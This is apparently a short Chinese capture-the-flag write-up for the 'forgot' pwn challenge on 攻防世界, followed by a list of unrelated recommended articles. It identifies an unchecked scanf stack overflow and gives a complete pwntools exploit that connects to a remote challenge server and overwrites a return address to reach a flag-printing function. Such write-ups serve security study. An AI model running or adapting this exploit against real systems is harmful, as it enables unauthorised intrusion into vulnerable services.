攻防世界2

forgot

发现是32位文件

fgets(s, 32, stdin)限制读入32位字符,无法利用

__isoc99_scanf("%s", v2) 典型的栈溢出

发现cat flag

覆盖v2-v3,覆盖为cat flag的函数地址

exp:

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
io = remote('61.147.171.105','56662')
door = 0x80486CC
io.recvuntil(b'>')
payload = b'aaaa'
io.sendline(payload)
io.recvuntil(b'>')
padding = b'a'*(0x74-0x54+0x4)
payload1 = padding + p32(door)
io.sendline(payload1)
io.interactive()
相关推荐
小政同学14 小时前
【NFS故障】共享的文件无法执行
linux·运维·服务器
AI木马人14 小时前
3.【Prompt工程实战】如何设计一个可复用的Prompt系统?(避免每次手写提示词)
linux·服务器·人工智能·深度学习·prompt
ch3nyuyu14 小时前
Ubuntu(乌班图)基础指令
linux·运维·网络
minglie115 小时前
gcc编译器汇总
linux
挽安学长15 小时前
保姆级教程,通过GACCode使用Claude Code Desktop!
运维·服务器
firstacui15 小时前
MGRE实验
运维·服务器·网络
白菜欣16 小时前
Linux —《开发三件套:gcc/g++、gdb、make/Makefile 全解析》
linux·运维
何中应16 小时前
Grafana如何给列表设置别名
运维·grafana·监控
senijusene17 小时前
基于 imx6ull平台按键驱动开发:input子系统+中断子系统+platform总线
linux·驱动开发
MXsoft61817 小时前
运维的尽头,是把“救火”变成“算命”
运维